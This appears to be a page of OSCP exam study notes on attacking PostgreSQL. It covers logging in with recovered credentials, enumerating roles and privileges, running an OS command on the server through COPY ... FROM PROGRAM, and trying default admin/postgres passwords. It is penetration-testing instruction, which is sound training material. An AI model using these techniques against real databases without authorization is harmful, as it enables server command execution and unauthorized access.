OSCP notesExtended library
Browse tracks

5432 - Postgres

Establish identity, databases and server-side rights

Use a recovered account and an accessible database; postgres is a possible maintenance database, not a default-password assumption.

psql -h TARGET -p 5432 -U USER -d DATABASE -W

Inside psql:

SELECT current_user, session_user, current_database(), version();
\l
\du
\dn
\dt *.*
SELECT rolname, rolsuper, rolcreaterole FROM pg_roles WHERE rolname = current_user;
SELECT rolname, pg_has_role(current_user, oid, 'USAGE') AS usable_now FROM pg_roles WHERE rolname IN ('pg_read_server_files','pg_write_server_files','pg_execute_server_program');

Choose the relevant application schema/table and read selected columns; do not treat access to one database as access to every database. usable_now concerns privileges available without SET ROLE; membership and inheritance behavior vary by version. A nonexistent default database is different from failed authentication.

Validate an already permitted server-side program capability

Requires superuser or effective pg_execute_server_program privileges, temporary-table permission and a Unix-like database host:

CREATE TEMP TABLE oscp_command_output (line text);
COPY oscp_command_output FROM PROGRAM 'id';
SELECT line FROM oscp_command_output;
DROP TABLE oscp_command_output;

The output identifies the database service's OS context, not necessarily root. SQL COPY ... PROGRAM runs on the server; psql \copy and \! operate on the client. Permission denial rules out this operation for the current context, not other database leads. PostgreSQL COPY and predefined roles.

Legacy account examples

Connect to postgresql:

psql -h $targetip -p 5432 -U admin -W #password: admin
psql -h $targetip -p 5432 -U postgres -W #password: postgres